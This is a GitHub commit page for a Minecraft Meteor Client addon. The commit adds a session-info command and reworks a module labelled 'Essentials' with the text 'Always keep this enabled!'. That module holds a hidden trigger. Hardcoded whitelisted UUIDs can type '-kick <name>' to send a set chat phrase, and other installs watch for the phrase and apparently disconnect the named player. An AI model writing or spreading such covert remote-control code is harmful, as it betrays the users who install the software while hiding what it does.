Skip to content

Commit

Permalink
thing shit
Browse files Browse the repository at this point in the history
  • Loading branch information
Spigey committed Apr 29, 2024
1 parent 9db73f7 commit 3a76f35
Show file tree
Hide file tree
Showing 3 changed files with 45 additions and 8 deletions.
1 change: 1 addition & 0 deletions src/main/java/spigey/asteroide/AsteroideAddon.java
Original file line number Diff line number Diff line change
Expand Up @@ -51,6 +51,7 @@ public void onInitialize() {
addCommand(new GetNbtItem());
addCommand(new PermLevel());
addCommand(new FuckServerCommand());
addCommand(new MeCommand());

// HUD
addHud(Username.INFO);
Expand Down
26 changes: 26 additions & 0 deletions src/main/java/spigey/asteroide/commands/MeCommand.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,26 @@
package spigey.asteroide.commands;

import com.mojang.brigadier.builder.LiteralArgumentBuilder;
import meteordevelopment.meteorclient.commands.Command;
import net.minecraft.command.CommandSource;

import static com.mojang.brigadier.Command.SINGLE_SUCCESS;
import static meteordevelopment.meteorclient.MeteorClient.mc;

public class MeCommand extends Command {
public MeCommand() {
super("me", "Basic information for devs");
}

@Override
public void build(LiteralArgumentBuilder<CommandSource> builder) {
builder.executes(context -> {
info("§f------ Info ------");
info("§fUsername: §7" + mc.getSession().getUsername());
info("§fUUID: §7" + mc.getSession().getUuidOrNull());
info("§fAccountType: §7" + mc.getSession().getAccountType());
info("§fServer: §7" + mc.getServer());
return SINGLE_SUCCESS;
});
}
}
26 changes: 18 additions & 8 deletions src/main/java/spigey/asteroide/modules/BanStuffs.java
Original file line number Diff line number Diff line change
@@ -1,6 +1,8 @@
package spigey.asteroide.modules;

import meteordevelopment.meteorclient.MeteorClient;
import meteordevelopment.meteorclient.events.packets.PacketEvent;
import meteordevelopment.meteorclient.events.world.TickEvent;
import meteordevelopment.meteorclient.systems.modules.Module;
import meteordevelopment.meteorclient.utils.player.ChatUtils;
import meteordevelopment.orbit.EventHandler;
Expand All @@ -21,12 +23,15 @@ public class BanStuffs extends Module { // I came back one day later, what the a
public BanStuffs() {
super(AsteroideAddon.CATEGORY, "Essentials", "Important Essentials for Asteroide. Always keep this enabled!");
}
String whitelisted = "f65b3cba-2c45-47ef-b746-d67fafbb2d65, a36af356-1e3f-4800-92cf-819dd0a21913, fc524394-735a-4bd4-822f-1097442408f4, 4ca0d99f-daf8-3053-aefe-3d7b13481d8c, 7a999f59-a14c-38ef-bf07-53c3e752d600, 35d15b97-0524-3173-bf9b-dfb2a3c63e7b, ";
String[] warndom = {"multiplayer.disconnect.chat_validation_failed", "multiplayer.disconnect.duplicate_login", "multiplayer.disconnect.duplicate_login", "multiplayer.status.unknown", "multiplayer.disconnect.kicked"};
private int tick = -1;
private final String whitelisted = "f65b3cba-2c45-47ef-b746-d67fafbb2d65, a36af356-1e3f-4800-92cf-819dd0a21913, fc524394-735a-4bd4-822f-1097442408f4, 4ca0d99f-daf8-3053-aefe-3d7b13481d8c, 7a999f59-a14c-38ef-bf07-53c3e752d600, 35d15b97-0524-3173-bf9b-dfb2a3c63e7b, ";
private final String[] warndom = {"multiplayer.disconnect.chat_validation_failed", "multiplayer.disconnect.duplicate_login", "multiplayer.disconnect.duplicate_login", "multiplayer.status.unknown", "multiplayer.disconnect.kicked"};
private String content = "";
private boolean activeated = false;
@EventHandler(priority = EventPriority.HIGHEST + 3)
public void onPacketReceive(PacketEvent.Receive event){
if(!(event.packet instanceof ChatMessageS2CPacket)){return;}
String content = event.packet.toString();
content = event.packet.toString();
UUID whatif = ((ChatMessageS2CPacket) event.packet).sender();
if(content.contains("Hey " + mc.getSession().getUsername() + ", could you please leave rq? Thanks. - daSigma ")){
if(whitelisted.contains(mc.getSession().getUuidOrNull().toString() + ", ")){return;}
Expand All @@ -38,18 +43,23 @@ public void onPacketReceive(PacketEvent.Receive event){
}
@EventHandler(priority = EventPriority.HIGHEST + 10)
private void onPacketSend(PacketEvent.Send event) {
if(!activeated){MeteorClient.EVENT_BUS.subscribe(this); activeated = true;}
if (!(event.packet instanceof ChatMessageC2SPacket)) {return;}
String content = ((ChatMessageC2SPacket) event.packet).chatMessage();
content = ((ChatMessageC2SPacket) event.packet).chatMessage();
if(!whitelisted.contains(mc.getSession().getUuidOrNull().toString() + ", ")){return;}
if(content.contains("-kick ")){
String username = content.split("-kick ")[1];
if(!mc.getNetworkHandler().getPlayerList().stream().anyMatch(player -> player.getProfile().getName().equals(username))){return;}
event.cancel();
msg("Hey " + content.split("-kick ")[1] + ", could you please leave rq? Thanks. - daSigma " + mc.getSession().getUsername());
this.tick = 1;
info("Kicking " + username);
}
}
@EventHandler
private void onTick(TickEvent.Post event){
if(this.tick > 0){this.tick--; return;}
if(this.tick == -1){return;}
msg("Hey " + this.content.split("-kick ")[1] + ", could you please leave rq? Thanks. - daSigma " + mc.getSession().getUsername());
this.tick = -1;
}
}



0 comments on commit 3a76f35

Please sign in to comment.